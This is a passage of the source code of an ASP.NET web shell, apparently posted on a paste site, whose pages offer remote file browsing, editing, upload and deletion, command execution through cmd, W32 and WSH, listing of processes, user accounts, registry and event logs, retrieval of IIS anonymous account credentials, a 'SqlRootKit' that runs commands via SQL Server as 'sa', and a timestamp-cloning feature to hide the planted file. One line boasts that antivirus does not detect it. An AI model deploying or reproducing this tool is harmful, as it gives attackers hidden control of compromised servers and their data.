  815. hupo= "<tr><td><a href='?action=goto&src=" & server.UrlEncode(Getparentdir(url)) & "'><i>|Parent Directory|</i></a></td></tr>"
  816. response.Write(hupo)
  817. for each xdir in mydir.getdirectories()
  818. response.Write("<tr>")
  819. dim filepath as string
  820. filepath=server.UrlEncode(url & xdir.name)
  821. hupo= "<td><a href='?action=goto&src=" & filepath & "\" & "'>" & xdir.name & "</a></td>"
  822. response.Write(hupo)
  823. response.Write("<td>&lt;dir&gt;</td>")
  824. response.Write("<td>" & Directory.GetLastWriteTime(url & xdir.name) & "</td>")
  825. hupo="<td><a href='?action=cut&src=" & filepath & "\' target='_blank'>Cut" & "</a>|<a href='?action=copy&src=" & filepath & "\' target='_blank'>Copy</a>|<a href='?action=del&src=" & filepath & "\'" & " onclick='return del(this);'>Del</a></td>"
  826. response.Write(hupo)
  827. response.Write("</tr>")
  828. next
  829. %></td>
  830. </tr>
  831. <tr>
  832. <td><%
  833. for each xfile in mydir.getfiles()
  834. dim filepath2 as string
  835. filepath2=server.UrlEncode(url & xfile.name)
  836. response.Write("<tr>")
  837. hupo="<td>" & xfile.name & "</td>"
  838. response.Write(hupo)
  839. hupo="<td>" & GetSize(xfile.length) & "</td>"
  840. response.Write(hupo)
  841. response.Write("<td>" & file.GetLastWriteTime(url & xfile.name) & "</td>")
  842. hupo="<td><a href='?action=edit&src=" & filepath2 & "'>Edit</a>|<a href='?action=cut&src=" & filepath2 & "' target='_blank'>Cut</a>|<a href='?action=copy&src=" & filepath2 & "' target='_blank'>Copy</a>|<a href='?action=rename&src=" & filepath2 & "'>Rename</a>|<a href='?action=down&src=" & filepath2 & "' onClick='return down(this);'>Download</a>|<a href='?action=del&src=" & filepath2 & "' onClick='return del(this);'>Del</a></td>"
  843. response.Write(hupo)
  844. response.Write("</tr>")
  845. next
  846. response.Write("</table>")
  847. %></td>
  848. </tr>
  849. </table>
  850. <script language="javascript">
  851. function del()
  852. {
  853. if(confirm("Are you sure?")){return true;}
  854. else{return false;}
  855. }
  856. function down()
  857. {
  858. if(confirm("If the file size > 20M,\nPlease don\'t download\nYou can copy file to web directory ,use http download\nAre you sure download?")){return true;}
  859. else{return false;}
  860. }
  861. </script>
  862. <%
  863. case "information"
  864. dim CIP,CP as string
  865. if getIP()<>request.ServerVariables("REMOTE_ADDR") then
  866. CIP=getIP()
  867. CP=request.ServerVariables("REMOTE_ADDR")
  868. else
  869. CIP=request.ServerVariables("REMOTE_ADDR")
  870. CP="None"
  871. end if
  872. %>
  873. <div align=center>[ Web Server Information ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></div><br>
  874. <table width="80%" border="1" align="center">
  875. <tr>
  876. <td width="40%">Server IP</td>
  877. <td width="60%"><%=request.ServerVariables("LOCAL_ADDR")%></td>
  878. </tr>
  879. <tr>
  880. <td height="73">Machine Name</td>
  881. <td><%=Environment.MachineName%></td>
  882. </tr>
  883. <tr>
  884. <td>Network Name</td>
  885. <td><%=Environment.UserDomainName.ToString()%></td>
  886. </tr>
  887. <tr>
  888. <td>User Name in this Process</td>
  889. <td><%=Environment.UserName%></td>
  890. </tr>
  891. <tr>
  892. <td>OS Version</td>
  893. <td><%=Environment.OSVersion.ToString()%></td>
  894. </tr>
  895. <tr>
  896. <td>Started Time</td>
  897. <td><%=GetStartedTime(Environment.Tickcount)%> Hours</td>
  898. </tr>
  899. <tr>
  900. <td>System Time</td>
  901. <td><%=now%></td>
  902. </tr>
  903. <tr>
  904. <td>IIS Version</td>
  905. <td><%=request.ServerVariables("SERVER_SOFTWARE")%></td>
  906. </tr>
  907. <tr>
  908. <td>HTTPS</td>
  909. <td><%=request.ServerVariables("HTTPS")%></td>
  910. </tr>
  911. <tr>
  912. <td>PATH_INFO</td>
  913. <td><%=request.ServerVariables("PATH_INFO")%></td>
  914. </tr>
  915. <tr>
  916. <td>PATH_TRANSLATED</td>
  917. <td><%=request.ServerVariables("PATH_TRANSLATED")%></td>
  918. <tr>
  919. <td>SERVER_PORT</td>
  920. <td><%=request.ServerVariables("SERVER_PORT")%></td>
  921. </tr>
  922. <tr>
  923. <td>SeesionID</td>
  924. <td><%=Session.SessionID%></td>
  925. </tr>
  926. <tr>
  927. <td colspan="2"><span class="style3">Client Infomation</span></td>
  928. </tr>
  929. <tr>
  930. <td>Client Proxy</td>
  931. <td><%=CP%></td>
  932. </tr>
  933. <tr>
  934. <td>Client IP</td>
  935. <td><%=CIP%></td>
  936. </tr>
  937. <tr>
  938. <td>User</td>
  939. <td><%=request.ServerVariables("HTTP_USER_AGENT")%></td>
  940. </tr>
  941. </table>
  942. <table align=center>
  943. <% Create_table_row_with_supplied_colors("Black", "White", "center", "Environment Variables, Server Variables") %>
  944. <tr>
  945. <td><textArea cols=50 rows=10><% output_all_environment_variables("text") %></textarea></td>
  946. <td><textArea cols=50 rows=10><% output_all_Server_variables("text") %></textarea></td>
  947. </tr>
  948. </table>
  949. <%
  950. case "cmd"
  951. %>
  952. <form runat="server">
  953. <p>[ CMD.NET for WebAdmin ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  954. <p> Execute command with ASP.NET account(<span class="style3">Notice: only click &quot;Run&quot; to run</span>)</p>
  955. <p>- This function has fixed by kikicoco.Antivirus has not detected (2007/02/27)-</p>
  956. Command:
  957. <asp:TextBox ID="cmd" runat="server" Width="300" class="TextBox" />
  958. <asp:Button ID="Button123" runat="server" Text="Run" OnClick="RunCMD" class="buttom"/>
  959. <p>
  960. <asp:Label ID="result" runat="server" style="style2"/> </p>
  961. </form>
  962. <%
  963. case "cmdw32"
  964. %>
  965. <form runat="server">
  966. <p>[ ASP.NET W32 Shell ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  967. <p> Execute command with ASP.NET account using W32(<span class="style3">Notice: only click &quot;Run&quot; to run</span>)</p>
  968. Command:
  969. <asp:TextBox ID="txtCommand1" runat="server" style="border: 1px solid #084B8E"/>
  970. <asp:Button ID="Buttoncmdw32" runat="server" Text="Run" OnClick="RunCmdW32" style="color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5"/>
  971. <p>
  972. <asp:Label ID="resultcmdw32" runat="server" style="color: #0000FF"/>
  973. </p>
  974. </form>
  975. <%
  976. case "cmdwsh"
  977. %>
  978. <form runat="server">
  979. <p>[ ASP.NET WSH Shell ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  980. <p> Execute command with ASP.NET account using WSH(<span class="style3">Notice: only click &quot;Run&quot; to run</span>)</p>
  981. Command:
  982. <asp:TextBox ID="txtCommand2" runat="server" style="border: 1px solid #084B8E"/>
  983. <asp:Button ID="Buttoncmdwsh" runat="server" Text="Run" OnClick="RunCmdWSH" style="color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5"/>
  984. <p>
  985. <asp:Label ID="resultcmdwsh" runat="server" style="color: #0000FF"/>
  986. </p>
  987. </form>
  988. <%
  989. case "pro"
  990. %>
  991. <form runat="server">
  992. <p align=center>[ List processes from server ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  993. <table align=center>
  994. <tr>
  995. <td>
  996. <%
  997. Try
  998. output_wmi_function_data("Win32_Process","Name,ProcessId,HandleCount")
  999. Catch
  1000. rw("This function is disabled by server")
  1001. End Try
  1002. %>
  1003. </td>
  1004. </tr>
  1005. </table>
  1006. </form>
  1007. <%
  1008. case "user"
  1009. %>
  1010. <form runat="server">
  1011. <p align=center>[ List User Accounts ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1012. <table align=center>
  1013. <tr>
  1014. <td>
  1015. <%
  1016. dim WMI_function = "Win32_UserAccount"
  1017. dim Fields_to_load = "Name,Domain,FullName,Description,PasswordRequired,SID"
  1018. dim fail_description = " Access to " + WMI_function + " is protected"
  1019. Try
  1020. output_wmi_function_data(WMI_function,Fields_to_load)
  1021. Catch
  1022. rw(fail_description)
  1023. End Try
  1024. %>
  1025. </td>
  1026. </tr>
  1027. </table>
  1028. </form>
  1029. <%
  1030. case "reg"
  1031. %>
  1032. <form runat="server">
  1033. <p align=center>[ Registry ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1034. <table align=center>
  1035. <tr>
  1036. <td>
  1037. <%
  1038. dim WMI_function = "Win32_Registry"
  1039. dim Fields_to_load = "Caption,CurrentSize,Description,InstallDate,Name,Status"
  1040. dim fail_description = " Access to " + WMI_function + " is protected"
  1041. Try
  1042. output_wmi_function_data(WMI_function,Fields_to_load)
  1043. Catch
  1044. rw(fail_description)
  1045. End Try
  1046. %>
  1047. </td>
  1048. </tr>
  1049. </table>
  1050. </form>
  1051. <%
  1052. case "applog"
  1053. %>
  1054. <form runat="server">
  1055. <p align=center>[ List Application Event Log Entries ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1056. <table align=center>
  1057. <tr>
  1058. <td>
  1059. <%
  1060. dim WMI_function = "Win32_NTLogEvent where Logfile='Application'"
  1061. dim Fields_to_load = "Logfile,Message,type"
  1062. dim fail_description = " Access to " + WMI_function + " is protected"
  1063. Try
  1064. output_wmi_function_data_instances(WMI_function,Fields_to_load,2000)
  1065. Catch
  1066. rw(fail_description)
  1067. End Try
  1068. %>
  1069. </td>
  1070. </tr>
  1071. </table>
  1072. </form>
  1073. <%
  1074. case "syslog"
  1075. %>
  1076. <form runat="server">
  1077. <p align=center>[ List System Event Log Entries ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1078. <table align=center>
  1079. <tr>
  1080. <td>
  1081. <%
  1082. dim WMI_function = "Win32_NTLogEvent where Logfile='System'"
  1083. dim Fields_to_load = "Logfile,Message,type"
  1084. dim fail_description = " Access to " + WMI_function + " is protected"
  1085.  
  1086. Try
  1087. output_wmi_function_data_instances(WMI_function,Fields_to_load,2000)
  1088. Catch
  1089. rw("This function is disabled by server")
  1090. End Try
  1091. %>
  1092. </td>
  1093. </tr>
  1094. </table>
  1095. </form>
  1096. <%
  1097. case "auser"
  1098. %>
  1099. <form runat="server">
  1100. <p align=center>[ IIS List Anonymous' User details ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1101. <table align=center>
  1102. <tr>
  1103. <td>
  1104. <%
  1105. Try
  1106. IIS_list_Anon_Name_Pass
  1107. Catch
  1108. rw("This function is disabled by server")
  1109. End Try
  1110. %>
  1111. </td>
  1112. </tr>
  1113. </table>
  1114. </form>
  1115. <%
  1116. case "sqlrootkit"
  1117. %>
  1118. <form runat="server">
  1119. <p>[ SqlRootKit.NET for WebAdmin ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1120. <p> Execute command with SQLServer account(<span class="style3">Notice: only click "Run" to run</span>)</p>
  1121. <p>Host:
  1122. <asp:TextBox ID="ip" runat="server" Width="300" class="TextBox" Text="127.0.0.1"/></p>
  1123. <p>
  1124. SQL Name:
  1125. <asp:TextBox ID="SqlName" runat="server" Width="50" class="TextBox" Text='sa'/>
  1126. SQL Password:
  1127. <asp:TextBox ID="SqlPass" runat="server" Width="80" class="TextBox"/>
  1128. </p>
  1129. Command:
  1130. <asp:TextBox ID="Sqlcmd" runat="server" Width="300" class="TextBox"/>
  1131. <asp:Button ID="ButtonSQL" runat="server" Text="Run" OnClick="RunSQLCMD" class="buttom"/>
  1132. <p>
  1133. <asp:Label ID="resultSQL" runat="server" style="style2"/> </p>
  1134. </form>
  1135. <%
  1136. case "del"
  1137. dim a as string
  1138. a=request.QueryString("src")
  1139. call existdir(a)
  1140. call del(a)
  1141. response.Write("<script>alert(""Delete " & replace(a,"\","\\") & " Success!"");location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(Getparentdir(a)) &"'</script>")
  1142. case "copy"
  1143. call existdir(request.QueryString("src"))
  1144. session("cutboard")="" & request.QueryString("src")
  1145. response.Write("<script>alert('File info have add the cutboard, go to target directory click plaste!');location.href='JavaScript:self.close()';</script>")
  1146. case "cut"
  1147. call existdir(request.QueryString("src"))
  1148. session("cutboard")="" & request.QueryString("src")
  1149. response.Write("<script>alert('File info have add the cutboard, go to target directory click plaste!');location.href='JavaScript:self.close()';</script>")
  1150. case "plaster"
  1151. dim ow as integer
  1152. if request.Form("OverWrite")<>"" then ow=1
  1153. if request.Form("Cancel")<>"" then ow=2
  1154. url=request.QueryString("src")
  1155. call existdir(url)
  1156. dim d as string
  1157. d=session("cutboard")
  1158. if left(d,1)="" then
  1159. TEMP1=url & path.getfilename(mid(replace(d,"",""),1,len(replace(d,"",""))-1))
  1160. TEMP2=url & replace(path.getfilename(d),"","")
  1161. if right(d,1)="\" then
  1162. call xexistdir(TEMP1,ow)
  1163. directory.move(replace(d,"",""),TEMP1 & "\")
  1164. response.Write("<script>alert('Cut " & replace(replace(d,"",""),"\","\\") & " to " & replace(TEMP1 & "\","\","\\") & " success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(url) &"'</script>")
  1165. else
  1166. call xexistdir(TEMP2,ow)
  1167. file.move(replace(d,"",""),TEMP2)
  1168. response.Write("<script>alert('Cut " & replace(replace(d,"",""),"\","\\") & " to " & replace(TEMP2,"\","\\") & " success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(url) &"'</script>")
  1169. end if
  1170. else
  1171. TEMP1=url & path.getfilename(mid(replace(d,"",""),1,len(replace(d,"",""))-1))
  1172. TEMP2=url & path.getfilename(replace(d,"",""))
  1173. if right(d,1)="\" then
  1174. call xexistdir(TEMP1,ow)
  1175. directory.createdirectory(TEMP1)
  1176. call copydir(replace(d,"",""),TEMP1 & "\")
  1177. response.Write("<script>alert('Copy " & replace(replace(d,"",""),"\","\\") & " to " & replace(TEMP1 & "\","\","\\") & " success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(url) &"'</script>")
  1178. else
  1179. call xexistdir(TEMP2,ow)
  1180. file.copy(replace(d,"",""),TEMP2)
  1181. response.Write("<script>alert('Copy " & replace(replace(d,"",""),"\","\\") & " to " & replace(TEMP2,"\","\\") & " success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(url) &"'</script>")
  1182. end if
  1183. end if
  1184. case "upfile"
  1185. url=request.QueryString("src")
  1186. %>
  1187. <form name="UpFileForm" enctype="multipart/form-data" method="post" action="?src=<%=server.UrlEncode(url)%>" runat="server" onSubmit="return checkname();">
  1188. You will upload file to this directory : <span class="style3"><%=url%></span><br>
  1189. Please choose file from your computer :
  1190. <input name="upfile" type="file" class="TextBox" id="UpFile" runat="server">
  1191. <input type="submit" id="UpFileSubit" value="Upload" runat="server" onserverclick="UpLoad" class="buttom">
  1192. </form>
  1193. <a href="javascript:history.back(1);" style="color:#FF0000">Go Back </a>
  1194. <%
  1195. case "new"
  1196. url=request.QueryString("src")
  1197. %>
  1198. <form runat="server">
  1199. <%=url%><br>
  1200. Name:
  1201. <asp:TextBox ID="NewName" TextMode="SingleLine" runat="server" class="TextBox"/>
  1202. <br>
  1203. <asp:RadioButton ID="NewFile" Text="File" runat="server" GroupName="New" Checked="true"/>
  1204. <asp:RadioButton ID="NewDirectory" Text="Directory" runat="server" GroupName="New"/>
  1205. <br>
  1206. <asp:Button ID="NewButton" Text="Submit" runat="server" CssClass="buttom" OnClick="NewFD"/>
  1207. <input name="Src" type="hidden" value="<%=url%>">
  1208. </form>
  1209. <a href="javascript:history.back(1);" style="color:#FF0000">Go Back</a>
  1210. <%
  1211. case "edit"
  1212. dim b as string
  1213. b=request.QueryString("src")
  1214. call existdir(b)
  1215. dim myread as new streamreader(b,encoding.default)
  1216. filepath.text=b
  1217. content.text=myread.readtoend
  1218. %>
  1219. <form runat="server">
  1220. <table width="80%" border="1" align="center">
  1221. <tr> <td width="11%">Path</td>
  1222. <td width="89%">
  1223. <asp:TextBox CssClass="TextBox" ID="filepath" runat="server" Width="300"/>
  1224. *</td>
  1225. </tr>
  1226. <tr>
  1227. <td>Content</td>
  1228. <td> <asp:TextBox ID="content" Rows="25" Columns="100" TextMode="MultiLine" runat="server" CssClass="TextBox"/></td>
  1229. </tr>
  1230. <tr>
  1231. <td></td>
  1232. <td> <asp:Button ID="a" Text="Sumbit" runat="server" OnClick="Editor" CssClass="buttom"/>
  1233. </td>
  1234. </tr>
  1235. </table>
  1236. </form>
  1237. <a href="javascript:history.back(1);" style="color:#FF0000">Go Back</a>
  1238. <%
  1239. myread.close
  1240. case "rename"
  1241. url=request.QueryString("src")
  1242. if request.Form("name")="" then
  1243. %>
  1244. <form name="formRn" method="post" action="?action=rename&src=<%=server.UrlEncode(request.QueryString("src"))%>" onSubmit="return checkname();">
  1245. <p>You will rename <span class="style3"><%=request.QueryString("src")%></span>to: <%=getparentdir(request.QueryString("src"))%>
  1246. <input type="text" name="name" class="TextBox">
  1247. <input type="submit" name="Submit3" value="Submit" class="buttom">
  1248. </p>
  1249. </form>
  1250. <a href="javascript:history.back(1);" style="color:#FF0000">Go Back</a>
  1251. <script language="javascript">
  1252. function checkname()
  1253. {
  1254. if(formRn.name.value==""){alert("You shall input filename :(");return false}
  1255. }
  1256. </script>
  1257. <%
  1258. else
  1259. if Rename() then
  1260. response.Write("<script>alert('Rename " & replace(url,"\","\\") & " to " & replace(Getparentdir(url) & request.Form("name"),"\","\\") & " Success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(Getparentdir(url)) &"'</script>")
  1261. else
  1262. response.Write("<script>alert('Exist the same name file , rename fail :(');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(Getparentdir(url)) &"'</script>")
  1263. end if
  1264. end if
  1265. case "samename"
  1266. url=request.QueryString("src")
  1267. %>
  1268. <form name="form1" method="post" action="?action=plaster&src=<%=server.UrlEncode(url)%>">
  1269. <p class="style3">Exist the same name file , can you overwrite ?(If you click &quot; no&quot; , it will auto add a number as prefix)</p>
  1270. <input name="OverWrite" type="submit" id="OverWrite" value="Yes" class="buttom">
  1271. <input name="Cancel" type="submit" id="Cancel" value="No" class="buttom">
  1272. </form>
  1273. <a href="javascript:history.back(1);" style="color:#FF0000">Go Back</a>
  1274. <%
  1275. case "clonetime"
  1276. time1.Text=request.QueryString("src")&"kshell.aspx"
  1277. time2.Text=request.QueryString("src")
  1278. %>
  1279. <form runat="server">
  1280. <p>[CloneTime for WebAdmin]<i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="javascript:history.back(1);">Back</a></i> </p>
  1281. <p>A tool that it copy the file or directory's time to another file or directory </p>
  1282. <p>Rework File or Dir:
  1283. <asp:TextBox CssClass="TextBox" ID="time1" runat="server" Width="300"/></p>
  1284. <p>Copied File or Dir:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1285. <asp:TextBox CssClass="TextBox" ID="time2" runat="server" Width="300"/></p>
  1286. <asp:Button ID="ButtonClone" Text="Submit" runat="server" CssClass="buttom" OnClick="CloneTime"/>
  1287. </form>
  1288. <p>
  1289. <%
  1290. case "logout"
  1291. session.Abandon()
  1292. response.Write("<script>alert(' Goodbye !');location.href='" & request.ServerVariables("URL") & "';</sc" & "ript>")
  1293. end select
  1294. end if
  1295. Catch error_x
  1296. response.Write("<font color=""red"">Wrong: </font>"&error_x.Message)
  1297. End Try
  1298. %>
  1299. </p>
  1300. </p>
  1301. <hr>
  1302. <script language="javascript">
  1303. function closewindow()
  1304. {self.close();}
  1305. </script>
  1306. <div align="center">Base on WebAdmin2.0(beta) By <a href="http://mrhupo.126.com" target="_blank" title="Welcome to my page:)">lake2</a> from China</div>
  1307. </body>
  1308. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement